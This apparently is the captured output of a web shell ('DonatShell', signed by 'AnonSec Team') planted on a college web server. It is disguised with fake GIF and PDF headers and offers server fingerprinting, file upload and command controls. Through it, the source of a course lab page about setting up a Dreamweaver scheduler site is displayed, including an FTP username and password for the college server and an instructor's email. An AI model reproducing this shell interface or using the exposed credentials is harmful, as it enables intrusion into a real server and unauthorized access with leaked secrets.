GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/MMDT1145/Labs/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/MMDT1145/Labs/Lab02/Lab02.phpinc
<?
// JimMartinson/MMDT1145/Lab02.phpinc

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
include('application.phpinc');

$assignmentPoints = 10;
$evaluationNumber = 2;
$evaluationType = "Lab";
$evaluationTitle = "Setup Scheduler site";
if ( !isset($assignmentSuffix) ) $assignmentSuffix = '';
$evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix;
include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');
$f_uId = formValue('uId'); if ( $f_uId ) { $userId = $f_uId; $userFullName = username($userId); } else { $userFullName = $_SESSION['userFullName']; $userId = $_SESSION['userId']; } $userFileName = str_replace(" ","",$userFullName); $uploadFilename = $evaluationName.'.zip';

$title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
include('common/pageHeader.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
include('common/sectionHeader.phpinc');
$userFullName = str_replace(" ","",$_SESSION['userFullName']);
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');
?>
<p>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
Setup the Scheduler site for use in Dreamweaver.<br>
<?=$gradeNote?>
<ol class="count">
	<li>Setup a host name in your hosts file <span class="small">(In C:\Windows\system32\drivers\etc\hosts)</span>:<br>
		<code>127.0.0.10	scheduler.loc</code>
  </li>
	<li>Setup a VirtualHost in Apache:
		<pre class="code">Redirect /scheduler/ http://scheduler.loc
&lt;VirtualHost *>
	DocumentRoot C:/Data_WWW/scheduler
	ServerName scheduler.loc
	ErrorLog logs/scheduler.loc.Error.log
	CustomLog logs/scheduler.loc.Access.log common
	&lt;Directory C:/Data_WWW/scheduler/>
		DirectoryIndex index.php index.html
		Options All +MultiViews
		AllowOverride All
		Order allow,deny
		Allow from all
	&lt;/Directory>
&lt;/VirtualHost></pre>
  </li>
	<li>Create a scheduler folder in C:\Data_WWW. <? showBegin('View screenshot','Hide screenshot'); ?><img src="images/folder.png" width="931" height="594" alt="folder"><? showEnd(); ?>
	</li>
	<li>Setup the scheduler site in Dreamweaver.<? showBegin('View instructions','Hide instructions'); ?>
		<br>
		<div class="border">
			<ol>
				<li>
				Select Manage Sites.<br>
				<img src="images/01.png" width="611" height="476" alt="manage sites">
				</li>
				<li>
				Select New...<br>
				<img src="images/02.png" width="282" height="259" alt="new site">
				</li>
				<li>
				Name the site scheduler.
				<br>Browse to the C:\Data_WWW\scheduler folder and click Select.<br>
				<img src="images/03.png" width="561" height="413" alt="browse">
				</li>
				<li>
				Select the Servers option and click the <b>+</b> to add a new server.<br>
				<img src="images/04.png" width="688" height="455" alt="new server">
				</li>
				<li>
				Enter:<br>
				Server Name: cst.ridgewater.edu.<br>
				FTP Address: cst.ridgewater.edu.<br>
				Username: scheduler.<br>
				Password: scheduler1145<br>
				Web URL: http://cst.ridgewater.edu/scheduler<br>
				<img src="images/05.png" width="450" height="376" alt="cst server">
				</li>
				<li>
				Click the Test button to ensure it works.<br>
				<img src="images/06.png" width="334" height="108" alt="test">
				</li>
				<li>
				Move to the Advanced tab.<br>
				Check "Check out files when opening" and fill in:<br>
				Check-out Name: Jim Martinson<br>
				Email Address: jim.martinson@ridgewater.edu<br>
				Server Model: PHP MySQL<br>
				Click Save.<br>
				<img src="images/07.png" width="450" height="376" alt="save cst server">
				</li>
				<li>
				Click the <b>+</b> to add another new server.<br>
				<img src="images/08.png" width="688" height="455" alt="new server">
				</li>
				<li>
				Enter:<br>
				Server Name: scheduler.<br>
				Connect using: Local/Network.<br>
				Server Folder: C:\Data_WWW\scheduler (Click on the folder button and click Select).<br>
				Web URL: http://scheduler.loc<br>
				Click Save.<br>
				<img src="images/09.png" width="450" height="346" alt="save test server">
				</li>
				<li>
				Click Save.<br>
				<img src="images/10.png" width="688" height="455" alt="save site">
				</li>
				<li>
				Click Done.<br>
				<img src="images/11.png" width="282" height="259" alt="done">
				</li>
			</ol>
		</div>
		<? showEnd(); ?>
  </li>
	<li>Download the scheduler site.<? showBegin('View instructions','Hide instructions'); ?>
		<ol>
			<li>Select the site and click the Get files arrow.<br>
				<img src="images/download1.png" width="455" height="261" alt="get site">
			</li>
			<li>Click OK.<br>
				<img src="images/download2.png" width="339" height="161" alt="Get OK">
			</li>
		</ol>
		<? showEnd(); ?>
  </li>
	<li>Setup Dreamweaver to use the .phpinc extension for Dreamweaver.<? showBegin('View instructions','Hide instructions'); ?>
		<ol>
			<li>Edit <b>Extensions.txt</b> and add <b>PHPINC</b> to the <b>All Documents</b> and <b>PHP Files</b> sections.
				<br><img src="images/Extensions.txt.png" width="901" height="1069" alt="Extensions.txt">
				<br>My <b>Extensions.txt</b> file was in the <span class="samp">C:\Users\Jim_M\AppData\Roaming\Adobe\Dreamweaver CS5.5\en_US\Configuration</span> folder.
			</li>
			<li>Edit <b>MMDocumentTypes.xml</b> and add <b>phpinc</b> to tje <b>PHP_MySQL</b> secton.
				<br><img src="images/MMDocumentTypes.xml.png" width="901" height="1069" alt="MMDocumentTypes.xml">
				<br>My <b>MMDocumentTypes.xml</b> file was in the <span class="samp">C:\Users\Jim_M\AppData\Roaming\Adobe\Dreamweaver CS5.5\en_US\Configuration\DocumentTypes</span> folder.
			</li>
		</ol>
		<? showEnd(); ?>
  </li>
	<li>Edit (checkout) the StudentNames.phpinc file.
		<ol>
			<li><b class="info">Take a screenshot</b> showing the green check-out mark and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-out-<?=$userFileName?>.png</b>.</li>
			<li>Add your name to the student list.</li>
			<li>Upload the change. Remember to check-in the file.</li>
			<li><b class="info">Take a screenshot</b> showing the lack of a check-out mark and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-in-<?=$userFileName?>.png</b>.</li>
		</ol>
		<? showBegin('View sample screenshots','Hide sample screenshots'); ?>
		<br>StudentNames file checked-out:
		<img src="images/StudentNames1.png" width="1336" height="843" alt="StudentNames file checked-out">
		<br>
		<br>StudentNames file checked-in:
		<img src="images/StudentNames2.png" width="1336" height="843" alt="StudentNames file checked-in">
		<? showEnd(); ?>
  </li>
	<li>Import the scheduler database into MySQL.
		<ol>
			<li>Use the <b>C:\Data_WWW\scheduler\site\_backup\workbench scheduler 2015-02-13.sql</b> file.</li>
			<li>Setup a <b>New Connection</b> for the <b>scheduler</b> database.</li>
			<li>Open up the <b>scheduler</b> connection.</li>
			<li>Expand the <b>scheduler</b> database and the <b>Tables</b> section</li>
			<li><b class="info">Take a screenshot</b> and save it as <b style="white-space:nowrap;"><?=$courseNumber?>-<?=$evaluationName?>-db-<?=$userFileName?>.png</b>.<? showBegin('View sample screenshot','Hide sample screenshot'); ?>
				<img src="images/workbench.png" width="1195" height="600" alt="workbench">
				<? showEnd(); ?>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your screenshots into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<?
include('Gradebook/EvaluationSubmission_END.phpinc');
$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
if ( $assignmentPoints ) include('JimMartinson/GradingCriteria.phpinc');
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team